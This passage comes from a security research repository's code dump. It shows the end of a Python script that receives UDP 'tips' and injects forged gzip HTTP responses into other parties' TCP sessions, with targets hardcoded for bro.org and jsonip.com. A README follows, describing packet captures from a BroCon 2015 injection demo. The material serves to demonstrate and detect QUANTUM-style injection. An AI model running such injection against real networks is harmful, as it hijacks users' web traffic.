PAYLOAD_RESPONSE.replace('', '\r\n' + PAYLOAD_INJECT) 87 | 88 | PAYLOAD_RESPONSE = create_200OK_gzip_response(PAYLOAD_RESPONSE) 89 | 90 | qi = QI({ 91 | "96.126.98.124": PAYLOAD_BANG, # www.jsonip.com 92 | "192.150.187.43": PAYLOAD_RESPONSE, # bro.org 93 | }) 94 | 95 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 96 | sock.bind((args.listen, args.port)) 97 | 98 | print 'Shooter listening on %s:%u' % (args.listen, args.port) 99 | 100 | while True: 101 | data, addr = sock.recvfrom(1024) 102 | if len(data) == TIP_LEN: 103 | tip = QuantumTip._make(struct.unpack(TIP_STRUCT, data)) 104 | print 'Received tip from %r: %r' % (addr, tip) 105 | qi.inject( 106 | src=socket.inet_ntoa(struct.pack(">I", tip.src)), 107 | dst=socket.inet_ntoa(struct.pack(">I", tip.dst)), 108 | sport=tip.sport, 109 | dport=tip.dport, 110 | seq=tip.seq, 111 | ack=tip.ack, 112 | ) 113 | 114 | if __name__ == '__main__': 115 | sys.exit(main()) 116 | -------------------------------------------------------------------------------- /presentations/brocon2015/pcaps/README.md: -------------------------------------------------------------------------------- 1 | id1.cn-inject.pcap 2 | ------------------ 3 | pcap of running the following curl command: 4 | 5 | ```curl http://id1.cn/a/1337``` 6 | 7 | This Chinese website seems to result in a TCP inject containing a 403 Forbidden page. 8 | 9 | The domain is requested in the MoWeather iOS app: 10 | 11 | ``https://itunes.apple.com/us/artist/moji-fengyun-beijing-software/id434173150`` 12 | 13 | bro.org-harlemshake-inject.pcap 14 | ------------------------------- 15 | pcap of the bro.org harlem shake demo. 16 | -------------------------------------------------------------------------------- /presentations/brocon2015/pcaps/bro.org-harlemshake-inject.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fox-it/quantuminsert/7b54983bdd3e33ce943e27f5772e010f08606481/presentations/brocon2015/pcaps/bro.org-harlemshake-inject.pcap -------------------------------------------------------------------------------- /presentations/brocon2015/pcaps/id1.cn-inject.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fox-it/quantuminsert/7b54983bdd3e33ce943e27f5772e010f08606481/presentations/brocon2015/pcaps/id1.cn-inject.pcap --------------------------------------------------------------------------------